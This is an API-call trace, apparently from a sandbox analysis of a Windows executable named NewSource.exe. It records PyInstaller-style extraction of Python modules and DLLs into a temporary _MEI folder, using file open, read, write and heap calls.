[0034.998] SetLastError (dwErrCode=0x0) [0034.998] GetLastError () returned 0x0 [0034.998] SetLastError (dwErrCode=0x0) [0034.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd") returned 54 [0034.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_ssl.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.998] GetLastError () returned 0x2 [0034.998] SetLastError (dwErrCode=0x2) [0034.998] GetLastError () returned 0x2 [0034.998] SetLastError (dwErrCode=0x2) [0034.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd", lpFilePart=0x0) returned 0x35 [0034.998] GetLastError () returned 0x2 [0034.998] SetLastError (dwErrCode=0x2) [0034.998] GetLastError () returned 0x2 [0034.998] SetLastError (dwErrCode=0x2) [0034.998] GetLastError () returned 0x2 [0034.998] SetLastError (dwErrCode=0x2) [0034.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd") returned 54 [0034.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ssl.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_ssl.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.998] GetFileType (hFile=0x10c) returned 0x1 [0034.998] htonl (hostlong=0x9a1500) returned 0x159a00 [0034.998] WriteFile (in: hFile=0x10c, lpBuffer=0x21b6020*, nNumberOfBytesToWrite=0x159000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x21b6020*, lpNumberOfBytesWritten=0x4fcd00*=0x159000, lpOverlapped=0x0) returned 1 [0035.028] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.028] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0035.028] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.028] CloseHandle (hObject=0x10c) returned 1 [0035.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x21b6020 | out: hHeap=0x530000) returned 1 [0035.109] htonl (hostlong=0x20000000) returned 0x20 [0035.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.109] GetFileType (hFile=0x10c) returned 0x1 [0035.109] htonl (hostlong=0xbf51f00) returned 0x1ff50b [0035.109] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24a50b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.109] htonl (hostlong=0x40470000) returned 0x4740 [0035.109] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4740) returned 0x560088 [0035.109] htonl (hostlong=0x40470000) returned 0x4740 [0035.109] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0035.110] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.110] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.110] htonl (hostlong=0xaa0000) returned 0xaa00 [0035.110] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaa00) returned 0x5647d0 [0035.110] htonl (hostlong=0x40470000) returned 0x4740 [0035.110] htonl (hostlong=0xaa0000) returned 0xaa00 [0035.110] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56f1d8 [0035.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56f1d8 | out: hHeap=0x530000) returned 1 [0035.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.111] CloseHandle (hObject=0x10c) returned 1 [0035.111] GetLastError () returned 0x0 [0035.111] SetLastError (dwErrCode=0x0) [0035.111] GetLastError () returned 0x0 [0035.111] SetLastError (dwErrCode=0x0) [0035.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd") returned 59 [0035.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_testcapi.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.111] GetLastError () returned 0x2 [0035.111] SetLastError (dwErrCode=0x2) [0035.112] GetLastError () returned 0x2 [0035.112] SetLastError (dwErrCode=0x2) [0035.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd", lpFilePart=0x0) returned 0x3a [0035.112] GetLastError () returned 0x2 [0035.112] SetLastError (dwErrCode=0x2) [0035.112] GetLastError () returned 0x2 [0035.112] SetLastError (dwErrCode=0x2) [0035.112] GetLastError () returned 0x2 [0035.112] SetLastError (dwErrCode=0x2) [0035.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd") returned 59 [0035.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_testcapi.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_testcapi.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.113] GetFileType (hFile=0x10c) returned 0x1 [0035.113] htonl (hostlong=0xaa0000) returned 0xaa00 [0035.113] WriteFile (in: hFile=0x10c, lpBuffer=0x5647d0*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5647d0*, lpNumberOfBytesWritten=0x4fcd00*=0xa000, lpOverlapped=0x0) returned 1 [0035.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.114] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0035.114] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.114] CloseHandle (hObject=0x10c) returned 1 [0035.116] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5647d0 | out: hHeap=0x530000) returned 1 [0035.116] htonl (hostlong=0x20000000) returned 0x20 [0035.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.116] GetFileType (hFile=0x10c) returned 0x1 [0035.117] htonl (hostlong=0x4b3c2000) returned 0x203c4b [0035.117] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24ec4b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.117] htonl (hostlong=0xfc470000) returned 0x47fc [0035.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x47fc) returned 0x560088 [0035.121] htonl (hostlong=0xfc470000) returned 0x47fc [0035.121] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0035.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.122] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.122] htonl (hostlong=0xa00000) returned 0xa000 [0035.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa000) returned 0x564890 [0035.122] htonl (hostlong=0xfc470000) returned 0x47fc [0035.122] htonl (hostlong=0xa00000) returned 0xa000 [0035.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56e898 [0035.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56e898 | out: hHeap=0x530000) returned 1 [0035.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.123] CloseHandle (hObject=0x10c) returned 1 [0035.123] GetLastError () returned 0x0 [0035.123] SetLastError (dwErrCode=0x0) [0035.123] GetLastError () returned 0x0 [0035.123] SetLastError (dwErrCode=0x0) [0035.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd") returned 58 [0035.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_tkinter.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.123] GetLastError () returned 0x2 [0035.123] SetLastError (dwErrCode=0x2) [0035.123] GetLastError () returned 0x2 [0035.123] SetLastError (dwErrCode=0x2) [0035.123] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd", lpFilePart=0x0) returned 0x39 [0035.124] GetLastError () returned 0x2 [0035.124] SetLastError (dwErrCode=0x2) [0035.124] GetLastError () returned 0x2 [0035.124] SetLastError (dwErrCode=0x2) [0035.124] GetLastError () returned 0x2 [0035.124] SetLastError (dwErrCode=0x2) [0035.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd") returned 58 [0035.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_tkinter.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_tkinter.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.124] GetFileType (hFile=0x10c) returned 0x1 [0035.124] htonl (hostlong=0xa00000) returned 0xa000 [0035.124] WriteFile (in: hFile=0x10c, lpBuffer=0x564890*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564890*, lpNumberOfBytesWritten=0x4fcd00*=0xa000, lpOverlapped=0x0) returned 1 [0035.126] CloseHandle (hObject=0x10c) returned 1 [0035.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564890 | out: hHeap=0x530000) returned 1 [0035.128] htonl (hostlong=0x20000000) returned 0x20 [0035.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.128] GetFileType (hFile=0x10c) returned 0x1 [0035.128] htonl (hostlong=0x47842000) returned 0x208447 [0035.128] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x253447, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.128] htonl (hostlong=0x728f0000) returned 0x8f72 [0035.128] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f72) returned 0x560088 [0035.128] htonl (hostlong=0x728f0000) returned 0x8f72 [0035.128] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x8000, lpOverlapped=0x0) returned 1 [0035.129] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.129] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.129] htonl (hostlong=0x160100) returned 0x11600 [0035.129] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11600) returned 0x569008 [0035.130] htonl (hostlong=0x728f0000) returned 0x8f72 [0035.130] htonl (hostlong=0x160100) returned 0x11600 [0035.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x57a610 [0035.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57a610 | out: hHeap=0x530000) returned 1 [0035.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.131] CloseHandle (hObject=0x10c) returned 1 [0035.132] GetLastError () returned 0x0 [0035.132] SetLastError (dwErrCode=0x0) [0035.132] GetLastError () returned 0x0 [0035.132] SetLastError (dwErrCode=0x0) [0035.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd") returned 53 [0035.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\bz2.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.132] GetLastError () returned 0x2 [0035.132] SetLastError (dwErrCode=0x2) [0035.132] GetLastError () returned 0x2 [0035.132] SetLastError (dwErrCode=0x2) [0035.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd", lpFilePart=0x0) returned 0x34 [0035.132] GetLastError () returned 0x2 [0035.132] SetLastError (dwErrCode=0x2) [0035.132] GetLastError () returned 0x2 [0035.132] SetLastError (dwErrCode=0x2) [0035.132] GetLastError () returned 0x2 [0035.132] SetLastError (dwErrCode=0x2) [0035.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd") returned 53 [0035.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\bz2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\bz2.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.132] GetFileType (hFile=0x10c) returned 0x1 [0035.132] htonl (hostlong=0x160100) returned 0x11600 [0035.132] WriteFile (in: hFile=0x10c, lpBuffer=0x569008*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x569008*, lpNumberOfBytesWritten=0x4fcd00*=0x11000, lpOverlapped=0x0) returned 1 [0035.136] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.136] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0035.136] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.136] CloseHandle (hObject=0x10c) returned 1 [0035.138] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x569008 | out: hHeap=0x530000) returned 1 [0035.138] htonl (hostlong=0x20000000) returned 0x20 [0035.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.138] GetFileType (hFile=0x10c) returned 0x1 [0035.138] htonl (hostlong=0xb9132100) returned 0x2113b9 [0035.138] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x25c3b9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.138] htonl (hostlong=0x8060100) returned 0x10608 [0035.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10608) returned 0x560088 [0035.139] htonl (hostlong=0x8060100) returned 0x10608 [0035.139] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x10000, lpOverlapped=0x0) returned 1 [0035.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.142] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.142] htonl (hostlong=0x700300) returned 0x37000 [0035.142] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x37000) returned 0x570698 [0035.143] htonl (hostlong=0x8060100) returned 0x10608 [0035.143] htonl (hostlong=0x700300) returned 0x37000 [0035.143] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5a76a0 [0035.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5a76a0 | out: hHeap=0x530000) returned 1 [0035.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.147] CloseHandle (hObject=0x10c) returned 1 [0035.147] GetLastError () returned 0x0 [0035.147] SetLastError (dwErrCode=0x0) [0035.147] GetLastError () returned 0x0 [0035.147] SetLastError (dwErrCode=0x0) [0035.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll") returned 57 [0035.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcm90.dll"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.147] GetLastError () returned 0x2 [0035.148] SetLastError (dwErrCode=0x2) [0035.148] GetLastError () returned 0x2 [0035.148] SetLastError (dwErrCode=0x2) [0035.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll", lpFilePart=0x0) returned 0x38 [0035.148] GetLastError () returned 0x2 [0035.148] SetLastError (dwErrCode=0x2) [0035.148] GetLastError () returned 0x2 [0035.148] SetLastError (dwErrCode=0x2) [0035.148] GetLastError () returned 0x2 [0035.148] SetLastError (dwErrCode=0x2) [0035.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll") returned 57 [0035.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcm90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcm90.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.149] GetFileType (hFile=0x10c) returned 0x1 [0035.149] htonl (hostlong=0x700300) returned 0x37000 [0035.149] WriteFile (in: hFile=0x10c, lpBuffer=0x570698*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x570698*, 